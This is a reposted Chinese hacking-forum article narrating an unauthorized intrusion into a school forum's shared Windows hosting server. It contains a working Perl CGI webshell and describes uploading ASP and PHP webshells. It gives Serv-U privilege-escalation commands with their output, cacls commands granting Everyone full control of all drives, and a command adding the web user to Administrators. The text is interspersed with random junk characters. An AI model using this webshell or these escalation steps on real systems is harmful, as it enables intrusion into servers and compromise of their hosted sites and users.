中国网络渗透测试联盟

标题: 剑走偏锋——灵巧的旁注攻击 [打印本页]

作者: admin    时间: 2012-9-15 14:11
标题: 剑走偏锋——灵巧的旁注攻击
剑走偏锋——灵巧的旁注攻击 5 R- u$ ?/ E5 O8 d8 J0 ?5 A
本文作者:angel* _! z0 C8 H# T. L% a
文章性质:原创
- n1 O0 f9 r" |& ^发布日期:2004-11-09 $ B1 \, m$ Z2 B( c, E) O
注意:  O% b" S/ c. |
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
7 x; t9 p/ c* d% M# D6 d9 g: p本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
) J! M, }# Z2 k3 z2 _) l5 Z
2 r1 p( ^- g( v% L6 z  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 5 f* B7 M" P8 Y  X& F! `
9 j  C0 B, ^5 C& O6 ?& s
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 ) m* ^: [$ f" O& j

: V. s1 E5 k# A. `  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
: B- S" ?( x5 Z/ s( C6 y
: i, n( j2 {4 N. ^4 D0 ~+ d! ]  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 / O0 E) Q; E6 u7 A! q. s

/ }/ p( e4 W$ V; ?+ S6 b  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 ) H5 O: s% k9 `$ |$ l2 P9 ^

0 |. S/ K2 S( m( _, ?4 b8 j  没有目的的跳转目录着……
4 @. d5 g- h- x5 L+ t; V
9 l- i# m5 z2 e0 T, M  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 5 d$ K; s, K9 y! F5 h
& d' ?# b' D; f/ \% w4 \
  结束了吗?不,我试着 FTP 一下:
% a6 N3 p4 X% T3 G& U- j8 R" S, h, C: u+ ?+ b, I
Microsoft Windows 2000 [Version 5.00.2195]- s* A6 e7 x: T0 L
(C) 版权所有 1985-2000 Microsoft Corp. 0 J7 a; N, M& B6 M4 {% ^

' N5 I, G. L( E6 d, T: R9 gC:\Documents and Settings\Administrator>ftp www.school.com& U) T9 N) P. N. f/ Q$ H
Connected to www. school.com. 9 U" B$ ]# U& m0 a, N; j; g
220 Welcome to FTP Server...
2 `, X/ o7 F" v# D' s# NUser (www.bjtrq.com:(none)): " @0 \) L: ]/ ?% }1 n
331 User name okay, need password. - ^( S# O: a+ N( D/ K% `& \( [6 a
Password: ; x4 g3 q, W7 o3 i4 A
530 Not logged in.
2 M) ?! f" Q0 M# oLogin failed.
  n* V9 n! U0 M; dftp> bye
' ?' P9 q/ Q7 X9 F1 s221 Goodbye!
8 q3 G+ U) {8 h- Y
& f$ B/ M+ F& o+ J' e" n. C' R3 ?8 ]- L, W
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 4 k4 y' ]6 `$ d0 t: s, A5 b, ]8 L. f/ \
& O  F6 @5 S+ b, X) X: m# Z
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 ! t1 O4 T: \5 {" F5 ]
2 c( n/ i, u' r
Application Data( |+ n& U. [: [; I9 q
Documents
9 B% f/ w, I( `* i" PDRM9 }9 N1 m9 w4 @: j3 [4 i
Favorites/ t, S6 A# x4 W" c$ M# J
Templates
) E5 A# T3 H8 Y. K# j+ M「开始」菜单
  D3 V5 q( n1 ]& m桌面
2 `  c/ @* _0 R/ p5 Z% v; k ( x! q) I( w4 l. ~
  }; n" k' b$ X/ n" w% o
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, - ^# c' c' ?9 V* c* z
" Z( Z- H3 G- d+ u) r
ActiveState ActivePerl 5.8
# Y/ y: e, @% @8 S9 @Administrative Tools/ t& X1 G; ]* p% A4 M2 g' Y
Deerfield.com
6 ~, j+ d/ x- y4 q/ l  TDTemp
  y" X- s& L% c/ Q8 T0 f/ OIPSentry
9 |4 W6 S1 j9 M( A" fMBM 5
& d  l$ h  X7 T/ INetMeter/ n7 G$ e4 `8 n+ O7 Y
Network ICE1 A5 h1 g7 s) ^' S
Persits Software AspEmail
2 u& l: \$ s3 A0 L) w8 K  SPersits Software AspJpeg
6 b! f5 ?: N+ F8 P) TServ-U FTP Server
+ K2 g+ s7 G; B! @Symantec Client Security  Z5 y7 W7 [; Z/ [  V7 [2 r7 s1 h, Z
Windows 优化大师. [. v4 I* A: D# p+ c1 `: V
WinRAR
$ L* o8 x/ Z1 i7 g1 {2 L启动) i; c& q) c5 r4 w. ?% ^
管理工具
& H+ M; L, q5 M9 Y& i# |附件2 O  p- h! G+ q, w- p, R. v0 b: m
7 x4 K  C: x0 A$ l) x9 i6 W, Z
+ g( w1 ?) i* C2 n6 F
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 ! O* p6 w0 k5 t3 v, Y) u" u3 X

, {8 m7 Q2 T% G' G7 ^; P: E  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
; O/ A7 ]. P: }& [# I; F- ~# h/ K' u: T1 b
User281=angel|1|0 1 s# Z( N* R5 b% H! c& I$ T
5 L7 N  ~. t0 [# N) ^, y. M

0 f0 \- {; r8 X1 C, |0 N  然后加上 , R: T3 ?+ l& o; e

3 p2 }3 |+ d0 S( h3 V2 W[USER=angel|1]- C! u4 q+ a2 o7 ~' |
Password=ng98F85379EA68DBF97BAADCA99B69B805
, ]6 f9 l& q- s4 }( \  I3 e9 {HomeDir=D:\websites3 q; ^8 G* T# Q5 Y( N
RelPaths=1
% s! g1 A' ^  U3 e+ d: x- {TimeOut=600. [& H9 [" [4 g% _+ k% Z  U) O8 B
Maintenance=System
( d9 S) X+ W2 _/ nAccess1=D:\websites|RWAMELCDP/ g: K6 R# B8 m2 i5 S( c% O& D0 G8 f
SKEYValues=/ P% {% j! B( R

9 B: }+ B3 i& a3 U9 `9 d/ [6 R4 `$ C& H. ]" t
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
4 {* A& W3 N& Y, \! Y& P
  E$ n$ t. ~2 k4 q% W6 Y  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 $ }5 {$ q8 l7 N# e7 r8 o

9 X/ b1 e  ]  A3 ~  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 $ W8 q) ^  W. }+ o& R

4 @$ K, n. v( P  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
- {" R1 I7 G" }) W' A/ W6 |0 j4 K
#!/usr/bin/perl" S% u! r: i: B, c
binmode(STDOUT);+ X& }# H9 S3 o* d
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);6 h- Y; r/ [9 n6 K8 ?
$_ = $ENV{QUERY_STRING};. s4 n. T/ _8 B5 [
s/%20/ /ig;
  W6 I! |' |5 O( P" ~0 H! ys/%2f/\//ig;
5 K( G! G/ e1 Z4 F7 U$execthis = $_;
* X7 Q, g/ ?; ksyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
4 a3 q! K' J: F( j1 i! Nopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
. {5 L- {0 G/ ^% b3 _" Esystem($execthis);! j, T1 U1 _1 z7 G5 `9 l9 h
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
% B; O: j/ w# Q" q2 w3 w+ I& `close(STDERR);
8 O+ u7 X, z; a2 gclose(STDOUT);
. n2 d% M- ^* }exit;
( W0 x- \$ ~5 E7 V: v, h# E 4 D1 Y9 E- ^. {* W5 O1 ?

1 t: l* g# F# C' M3 L8 a  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! ( b7 N6 x# i: d8 e( a
1 [! q9 R0 V5 ?
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 4 d* e0 U4 {# @! a$ Z) S0 W
% d* H! d" Y. A: k1 V" h
http://anyhost//cmd.pl?d:\user\bin\su.exe
' D. F5 M) h, z
" L+ _6 I/ w6 e& O
9 W* Q4 x$ V( Z, q! x* D/ f# g  返回: 4 q# K6 s( ]( P. a
+ r7 O8 B" A5 F! S1 c6 I
Serv-u >3.x Local Exploit by xiaolu / I& ]& |$ h. Z. ~  F" i2 H) A
3 N( P6 c9 J3 x5 ]. v4 ]* ^5 D: E. H
USAGE: serv-u.exe "command" : e9 f/ v6 B* k7 L

$ k( F. x/ u- u# f/ T- q2 k; jExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
' ?8 A5 ~1 g8 J" O: L- j3 m , [; m5 N6 J) N. i7 d; G8 \, e. i
. P# ]- s* P& J/ r, B4 g
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: " F; a2 Y- y: Y% a0 g" l# m

) ?6 U  v2 J: `& I1 \http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
1 N) p7 }9 m2 B$ S, T/ U/ v6 k% A2 a. w: B9 ^
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" * q& k  l: \% U

7 j' i2 d. ?1 e( Z2 r' S, ghttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
* w! L5 p; x: b2 J& b7 S+ |, p3 I' D- g. [
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" ( S% P6 T; l6 f9 E0 i8 F. T

" I0 w& |0 b# f7 \+ A2 K
+ }2 Z4 w' W! r/ e2 p9 s1 u  返回下面的信息,就表示成功了!!! ) [) d0 f& m: ?6 Q2 B
& ], C. q$ B# s4 h6 j2 _  q
Serv-u >3.x Local Exploit by xiaolu
9 N% C7 P& b& X$ S$ ^6 x
  U" w4 c" P0 G% T( }; ^<220 Serv-U FTP Server v5.2 for WinSock ready...   O: ^  R7 V3 w! @; w( G
& k% R9 p5 u* D3 T" f/ R
>USER LocalAdministrator & [. p' m: {: l6 @' K5 y

( d1 x  O" f3 N, r, F4 }  [7 a( j<331 User name okay, need password.
1 O9 ~+ f8 v; V2 M0 ?8 g7 |# g2 W. [: @0 f+ m
****************************************************** 7 \( c( W( E6 [6 i/ q
! N/ I7 o. y) w  \
>PASS #l@$ak#.lk;0@P 9 H  C+ m: u- ?% l  A
( B8 d- g6 t$ U, h/ C
<230 User logged in, proceed. * ]+ @- f, r) C5 Q

+ [& T# r) t/ o$ J' e. v****************************************************** / v# [5 Z& z* C% S
! O5 y+ h) |* I5 h* F, I9 }
>SITE MAINTENANCE
% I, k$ J' u* q+ K# b6 s. x6 x% l9 s' U/ m/ {) U
******************************************************
( J) o1 b# R2 C9 X; x! ?$ @; I. k  g0 N$ w: V- h
[+] Creating New Domain...
' {. r; n+ y- @. H6 ~* Y# v4 ]$ h1 O; \
<200-DomainID=2 9 H$ B. d- a" `/ R/ e( I' h0 M7 u
  c' B8 O, u% U, v2 B- G; E- J5 C0 |
<220 Domain settings saved
% {% c: q; N! E& \
3 B9 Z* K6 _& S1 K% b% M******************************************************
, w, M' j" C$ j8 f( C" w9 ]: F/ h6 Y. V) x1 i1 k4 r0 d  X
[+] Domain xl:2 Created
) k; {/ k* G3 D/ N; _4 _1 `, Y8 [0 u
[+] Creating Evil User : ~1 Q* p/ g4 ?, G* J

; v4 h: {: A+ O<200-User=xl
% e; q3 ]6 p: h9 o  D5 A
5 h( }) B. u. v  T, E200 User settings saved
. g% u% e2 m$ ^2 e7 M
: P( {9 |7 U% k) Q) J1 N******************************************************
+ K! ]4 m3 P4 H+ ]
2 o( U+ h: n& V9 I$ b2 L% b[+] Now Exploiting... 5 N, B9 y+ M9 Y; v& h0 [

4 Q# J; O+ A4 S! c/ Z% ]>USER xl
! T- {9 A4 n5 |5 A# T; c7 ]5 _4 m6 `% e3 {4 q* o6 N
<331 User name okay, need password.
( q4 D9 U: c$ K% }9 c. G9 _+ j4 L. t2 W9 o# R" x9 H1 T1 Z# D
******************************************************
( P) p8 Q5 b2 i5 R4 c3 c
, \# r& z* R9 d" E( J>PASS 111111
8 J4 Q/ L: D- J2 A) T' l2 t( ?! Q2 L- i
<230 User logged in, proceed.
% k0 Z1 |  b8 \0 b1 K  b! R" ^4 V1 ]% X1 i" V# k+ @6 N) S
******************************************************
6 }) A. n2 v# F/ H9 Z1 s0 A- S3 j& P2 S- k* o
[+] Now Executing: cacls.exe c: /E /T /G everyone:F 3 R( c, X" b4 n# ~; ?6 c3 m
, H9 x3 Q# Z# Z  S5 Y
<220 Domain deleted # M6 ^/ ^# m$ i8 ~% S

7 M, p0 g. m: ^9 y/ P****************************************************** . Z! I  M1 p+ X9 x1 q% M, q0 T

  U) N" F: o" g1 l0 u  u2 p! ~1 y" G+ N  O5 L2 c' C
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: * u# g1 X, \) m5 y2 o3 ^

5 t" Z$ s$ a3 w/ Y# V& c( hhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
8 n- }; J7 U. i) T8 N , o3 h7 U! i* A' Y
! E2 G/ M+ L: U  o: @0 H+ e/ l3 H
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 & O6 B1 D) c1 i
4 l# `+ w4 l$ t+ p
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
' b; ], x( q/ ~# A, ]! B& r8 p / A+ D+ h1 o# ^' J
  
3 r, b* U3 L, ]8 f# `% Z7 C




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2